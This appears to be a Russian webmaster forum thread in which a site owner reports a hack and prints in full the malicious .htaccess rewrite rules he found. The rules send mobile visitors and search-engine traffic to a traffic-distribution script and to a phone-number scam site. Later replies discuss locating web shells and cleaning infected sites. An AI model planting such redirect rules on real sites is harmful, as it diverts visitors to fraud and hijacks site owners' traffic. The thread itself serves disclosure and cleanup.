lll3.ru и ooo6.ru - читерский редирект - Вопросы новичков в SEO - Практические вопросы оптимизации - Форум об интернет-маркетинге

Shlackbaum · 2020-07-28T15:09:32.0000000Z

Сегодня взломали один из моих хостингов и разместили в htaccess такой код: RewriteEngine on RewriteCond %{HTTP_USER_AGENT} acs [NC,OR] RewriteCond %{HTTP_USER_AGENT} alav [NC,OR] RewriteCond %{HTTP_USER_AGENT} alca [NC,OR] RewriteCond %{HTTP_USER_AGENT} amoi [NC,OR] RewriteCond %{HTTP_USER_AGENT} audi [NC,OR] RewriteCond %{HTTP_USER_AGENT} aste [NC,OR] RewriteCond %{HTTP_USER_AGENT} avan [NC,OR] RewriteCond %{HTTP_USER_AGENT} benq [NC,OR] RewriteCond %{HTTP_USER_AGENT} bird [NC,OR] RewriteCond %{HTTP_USER_AGENT} blac [NC,OR] RewriteCond %{HTTP_USER_AGENT} blaz [NC,OR] RewriteCond %{HTTP_USER_AGENT} brew [NC,OR] RewriteCond %{HTTP_USER_AGENT} cell [NC,OR] RewriteCond %{HTTP_USER_AGENT} cldc [NC,OR] RewriteCond %{HTTP_USER_AGENT} cmd- [NC,OR] RewriteCond %{HTTP_USER_AGENT} dang [NC,OR] RewriteCond %{HTTP_USER_AGENT} doco [NC,OR] RewriteCond %{HTTP_USER_AGENT} eric [NC,OR] RewriteCond %{HTTP_USER_AGENT} hipt [NC,OR] RewriteCond %{HTTP_USER_AGENT} inno [NC,OR] RewriteCond %{HTTP_USER_AGENT} ipaq [NC,OR] RewriteCond %{HTTP_USER_AGENT} java [NC,OR] RewriteCond %{HTTP_USER_AGENT} jigs [NC,OR] RewriteCond %{HTTP_USER_AGENT} kddi [NC,OR] RewriteCond %{HTTP_USER_AGENT} keji [NC,OR] RewriteCond %{HTTP_USER_AGENT} leno [NC,OR] RewriteCond %{HTTP_USER_AGENT} lg-c [NC,OR] RewriteCond %{HTTP_USER_AGENT} lg-d [NC,OR] RewriteCond %{HTTP_USER_AGENT} lg-g [NC,OR] RewriteCond %{HTTP_USER_AGENT} lge- [NC,OR] RewriteCond %{HTTP_USER_AGENT} maui [NC,OR] RewriteCond %{HTTP_USER_AGENT} maxo [NC,OR] RewriteCond %{HTTP_USER_AGENT} midp [NC,OR] RewriteCond %{HTTP_USER_AGENT} mits [NC,OR] RewriteCond %{HTTP_USER_AGENT} mmef [NC,OR] RewriteCond %{HTTP_USER_AGENT} mobi [NC,OR] RewriteCond %{HTTP_USER_AGENT} mot- [NC,OR] RewriteCond %{HTTP_USER_AGENT} moto [NC,OR] RewriteCond %{HTTP_USER_AGENT} mwbp [NC,OR] RewriteCond %{HTTP_USER_AGENT} nec- [NC,OR] RewriteCond %{HTTP_USER_AGENT} newt [NC,OR] RewriteCond %{HTTP_USER_AGENT} noki [NC,OR] RewriteCond %{HTTP_USER_AGENT} opwv [NC,OR] RewriteCond %{HTTP_USER_AGENT} palm [NC,OR] RewriteCond %{HTTP_USER_AGENT} pana [NC,OR] RewriteCond %{HTTP_USER_AGENT} pant [NC,OR] RewriteCond %{HTTP_USER_AGENT} pdxg [NC,OR] RewriteCond %{HTTP_USER_AGENT} phil [NC,OR] RewriteCond %{HTTP_USER_AGENT} play [NC,OR] RewriteCond %{HTTP_USER_AGENT} pluc [NC,OR] RewriteCond %{HTTP_USER_AGENT} port [NC,OR] RewriteCond %{HTTP_USER_AGENT} prox [NC,OR] RewriteCond %{HTTP_USER_AGENT} qtek [NC,OR] RewriteCond %{HTTP_USER_AGENT} qwap [NC,OR] RewriteCond %{HTTP_USER_AGENT} sage [NC,OR] RewriteCond %{HTTP_USER_AGENT} sams [NC,OR] RewriteCond %{HTTP_USER_AGENT} sany [NC,OR] RewriteCond %{HTTP_USER_AGENT} sch- [NC,OR] RewriteCond %{HTTP_USER_AGENT} sec- [NC,OR] RewriteCond %{HTTP_USER_AGENT} send [NC,OR] RewriteCond %{HTTP_USER_AGENT} seri [NC,OR] RewriteCond %{HTTP_USER_AGENT} sgh- [NC,OR] RewriteCond %{HTTP_USER_AGENT} shar [NC,OR] RewriteCond %{HTTP_USER_AGENT} sie- [NC,OR] RewriteCond %{HTTP_USER_AGENT} siem [NC,OR] RewriteCond %{HTTP_USER_AGENT} smal [NC,OR] RewriteCond %{HTTP_USER_AGENT} smar [NC,OR] RewriteCond %{HTTP_USER_AGENT} sony [NC,OR] RewriteCond %{HTTP_USER_AGENT} sph- [NC,OR] RewriteCond %{HTTP_USER_AGENT} symb [NC,OR] RewriteCond %{HTTP_USER_AGENT} t-mo [NC,OR] RewriteCond %{HTTP_USER_AGENT} teli [NC,OR] RewriteCond %{HTTP_USER_AGENT} tim- [NC,OR] RewriteCond %{HTTP_USER_AGENT} tosh [NC,OR] RewriteCond %{HTTP_USER_AGENT} tsm- [NC,OR] RewriteCond %{HTTP_USER_AGENT} upg1 [NC,OR] RewriteCond %{HTTP_USER_AGENT} upsi [NC,OR] RewriteCond %{HTTP_USER_AGENT} vk-v [NC,OR] RewriteCond %{HTTP_USER_AGENT} voda [NC,OR] RewriteCond %{HTTP_USER_AGENT} w3cs [NC,OR] RewriteCond %{HTTP_USER_AGENT} wap- [NC,OR] RewriteCond %{HTTP_USER_AGENT} wapa [NC,OR] RewriteCond %{HTTP_USER_AGENT} wapi [NC,OR] RewriteCond %{HTTP_USER_AGENT} wapp [NC,OR] RewriteCond %{HTTP_USER_AGENT} wapr [NC,OR] RewriteCond %{HTTP_USER_AGENT} webc [NC,OR] RewriteCond %{HTTP_USER_AGENT} winw [NC,OR] RewriteCond %{HTTP_USER_AGENT} winw [NC,OR] RewriteCond %{HTTP_USER_AGENT} xda [NC,OR] RewriteCond %{HTTP_USER_AGENT} xda- [NC,OR] RewriteCond %{HTTP_USER_AGENT} up.browser [NC,OR] RewriteCond %{HTTP_USER_AGENT} up.link [NC,OR] RewriteCond %{HTTP_USER_AGENT} windows.ce [NC,OR] RewriteCond %{HTTP_USER_AGENT} iemobile [NC,OR] RewriteCond %{HTTP_USER_AGENT} mini [NC,OR] RewriteCond %{HTTP_USER_AGENT} mmp [NC,OR] RewriteCond %{HTTP_USER_AGENT} symbian [NC,OR] RewriteCond %{HTTP_USER_AGENT} midp [NC,OR] RewriteCond %{HTTP_USER_AGENT} wap [NC,OR] RewriteCond %{HTTP_USER_AGENT} phone [NC,OR] RewriteCond %{HTTP_USER_AGENT} pocket [NC,OR] RewriteCond %{HTTP_USER_AGENT} mobile [NC,OR] RewriteCond %{HTTP_USER_AGENT} android [NC,OR] RewriteCond %{HTTP_USER_AGENT} Android [NC,OR] RewriteCond %{HTTP_USER_AGENT} pda [NC,OR] RewriteCond %{HTTP_USER_AGENT} PPC [NC,OR] RewriteCond %{HTTP_USER_AGENT} Series60 [NC,OR] RewriteCond %{HTTP_USER_AGENT} Opera.Mini [NC,OR] RewriteCond %{HTTP_USER_AGENT} ipad [NC,OR] RewriteCond %{HTTP_USER_AGENT} iphone [NC,OR] RewriteCond %{HTTP_USER_AGENT} iPad [NC,OR] RewriteCond %{HTTP_USER_AGENT} iPhone [NC,OR] RewriteCond %{HTTP_ACCEPT} "text/vnd.wap.wml|application/vnd.wap.xhtml+xml" [NC,OR] RewriteCond %{HTTP_USER_AGENT} !windows.nt [NC] RewriteCond %{HTTP_USER_AGENT} !bsd [NC] RewriteCond %{HTTP_USER_AGENT} !x11 [NC] RewriteCond %{HTTP_USER_AGENT} !unix [NC] RewriteCond %{HTTP_USER_AGENT} !macos [NC] RewriteCond %{HTTP_USER_AGENT} !macintosh [NC] RewriteCond %{HTTP_USER_AGENT} !playstation [NC] RewriteCond %{HTTP_USER_AGENT} !google [NC] RewriteCond %{HTTP_USER_AGENT} !yandex [NC] RewriteCond %{HTTP_USER_AGENT} !bot [NC] RewriteCond %{HTTP_USER_AGENT} !libwww [NC] RewriteCond %{HTTP_USER_AGENT} !msn [NC] RewriteCond %{HTTP_USER_AGENT} !america [NC] RewriteCond %{HTTP_USER_AGENT} !avant [NC] RewriteCond %{HTTP_USER_AGENT} !download [NC] RewriteCond %{HTTP_USER_AGENT} !fdm [NC] RewriteCond %{HTTP_USER_AGENT} !maui [NC] RewriteCond %{HTTP_USER_AGENT} !webmoney [NC] RewriteCond %{HTTP_USER_AGENT} !windows-media-player [NC] RewriteRule ^(.*)$ http://login.tw1.ru/tds/tds.php?ref=%{HTTP_HOST} [L,R=302] RewriteCond %{HTTP_REFERER} ^ http://www\.ya\.ru/ [OR] RewriteCond %{HTTP_REFERER} ^ http://ya\.ru/ [OR] RewriteCond %{HTTP_REFERER} ^ http://www\.google\.com/ [OR] RewriteCond %{HTTP_REFERER} ^ http://google\.com/ [OR] RewriteCond %{HTTP_REFERER} ^ http://www\.yandex\.ru/ [OR] RewriteCond %{HTTP_REFERER} ^ http://yandex\.ru/ [OR] RewriteCond %{HTTP_REFERER} ^ http://www\.google\.ru/ [OR] RewriteCond %{HTTP_REFERER} ^ http://google\.ru/ [OR] RewriteCond %{HTTP_REFERER} ^ http://go\.mail\.ru/ [OR] RewriteCond %{HTTP_REFERER} ^ http://vk\.com/ [OR] RewriteCond %{HTTP_REFERER} ^ http://nova\.rambler\.ru/ RewriteRule ^(.*)$ http://ooo6.ru/?1&source=%{HTTP_HOST} [L,R=302] Заметил, что тупо упали доходы с директа:) Резко уменьшилось количество показов, хотя траф остался тем же (по ли.ру и по Я.Метрке) Полез в Метрику - увидел что траф с ПС уменьшился в 2 раза, но компенсирован трафом по ссылкам. Оказалось что это с сайта вида http://название-сайта.lll3.ru Сайт мошеннический который просит ввести номер телефона, чтобы якобы иметь возможность посмотреть сайт. В общем после некоторых размышлений понял, что ситуация где-то на сервере - в результате чего нашел этот код. Механизм (насколько я понимаю этот код) простой - на уровне сервера половина трафа с ПС тупо перенаправляется на мошеннический сайт. Используется TDS'ка так что видимо это взломали товарищи из соседнего раздела (горите в аду, твари) Для справки: Хостинг - masterhost CMS Битрикс последней обновленной модели. Тему начал, т.к. авось у кого тоже есть такая фигня - мож помогу кому-то, т.к. Гугл и Яндекс мне не помогли. UPD: После удаления говнокода естественно рекомендую заменить все пароли доступов к взломанным или ассоциируемым сайтам.

B

49

bobzer

28 августа 2012, 08:21

#31

Shevtcoff:
Не получается найти вирус, сейчас нашел скрипт ai-bolit.php, им попробую найти! может кто в этом шарит, сможет помочь!

У меня ломали, заливали шелл, скорее всего потому, что пользователь CMS (WP) был стандартный и пароль простой. Все пароли менял, чистил, а оно опять появлялось. Довел себя до мании преследования, пока поддержка хостинга шелл не нашла (сразу на трех сайтах). Удалил файл шелла, взломов больше не было.

Насчет помочь: я когда себе на комп скачал бакап файловой системы, антивирус (NOD32) сразу обнаружил файлы шеллов даже в архиве. Попробуйте.

«Играем в доктора»: неправильное Все, что вам нужно Распространённые ошибки веб-мастеров при

S

0

Shevtcoff

28 августа 2012, 09:01

#32

bobzer, качаю еще раз архив, но до этого скачивал и проверял Каспером и Доктор Web

хостер развел руками и предложил только это

Если по какой-либо причине, вы не можете пригласить стороннего специалиста, то мы предлагаем вам следующий порядок действий (не гарантирует полного решения проблем):

1) Скачать все файлы с сервера, проверить их антивирусом и загрузить обратно;

2) Обновить все пароли панели управления аккаунтом, FTP-пользователей, баз данных и административной части ваших сайтов;

3) Обновить ваши CMS и ее дополнения.

Порядок по борьбе с web-shell-ми и заражениями описан в данной статье:

"http://wiki.linux.ru/wiki/index.php/%D0%98%D1%89%D0%B5%D0%BC_%D0%B8_%D0%BB%D0%B5%D1%87%D0%B8%D0%BC_web_shell_%D0%BD%D0%B0_%D0%B2%D0%B7%D0%BB%D0%BE%D0%BC%D0%B0%D0%BD%D0%BD%D0%BE%D0%BC_%D1%81%D0%B0%D0%B9%D1%82%D0%B5"

После необходимо проверить возникает ли проблема вновь.

Если вы выполнили указанные пункты и проблема все еще имеет место быть, вам следует обратиться к стороннему специалисту по безопасности.

Общие рекомендации по безопасности:

1) Используйте сложные пароли, регулярно меняйте их и не передавайте третьим лицам;

2) Используйте известные и проверенные CMS, которые регулярно обновляются, имеют техническую поддержку и дают гарантии защищённости своих скриптов. То же касается модулей, плагинов, тем оформления и прочих расширений CMS. Многие CMS распространяемые на бесплатной основе не предоставляют данных гарантий;

3) Регулярно сохраняйте резервные копии Вашего сайта и его данных, чтобы иметь возможность выполнить восстановление на некоторое время назад, если взлом не удастся обнаружить сразу;

4) Пользуйтесь протоколами передачи данных, использующими шифрование (например, SSL) для передачи конфиденциальных данных.

С нашей стороны мы можем предоставить Вам логи панели управления аккаунтом, FTP-соединения.

Вопросы анализа уязвимости пользовательского кода, к сожалению, выходят за рамки предоставляемой нами технической поддержки.

В мобильной выдаче: "Возможна timeweb заблочил Ломанули

322

Shlackbaum

28 августа 2012, 09:06

#33

Shevtcoff:
Не получается найти вирус, сейчас нашел скрипт ai-bolit.php, им попробую найти! может кто в этом шарит, сможет помочь!

Ай-болит на битриксе нужно запускать через SSH - если умеете флаг в руки. Меня ай-болит там не слушался. Вероятно просто руки кривые

Пустота. Какого черта здесь появляется чья-то реклама?

S

0

Shevtcoff

28 августа 2012, 09:37

#34

запустил, не нашел, как раз через ssh, так как через браузер не времени много! ругался на многое - но ничего подозрительного не нашел

R

180

Алексей

28 августа 2012, 10:12

#35

Shevtcoff:
Не получается найти вирус, сейчас нашел скрипт ai-bolit.php, им попробую найти! может кто в этом шарит, сможет помочь!

Стучите помогу найти вирус и дам рекоендации!

Удаление вирусов с сайта, защита сайта, Гарантия! ( /ru/forum/999073 ) -> топик на маулталк ( http://www.maultalk.com/topic113834s0.html ) -> Топик в сапе ( http://forum.sape.ru/showthread.php?t=79363 ). TELEGRAM - https://t.me/Doktorsaitov

10

moonvader

28 августа 2012, 21:51

#36

для wordpress решение нашел на этом сайте

сам шелл находится в wp-admin/includes/class-wp-filesystem-index.php

S

0

Shevtcoff

29 августа 2012, 06:01

#37

а shell или js скрипт вызывают вручную! или он автоматически запускается? просто я взял перенес сайт на другой сервер, не перенося домен, и на нем не происходит замены! а на старом изменяется!

S

0

Shevtcoff

3 сентября 2012, 09:41

#38

можно ли отследить какой скрипт создает файлы?

Все что нужно знать о DDоS-атаках грамотному менеджеру

Яндекс Вебмастер вынес товарные фиды в отдельный раздел

lll3.ru и ooo6.ru - читерский редирект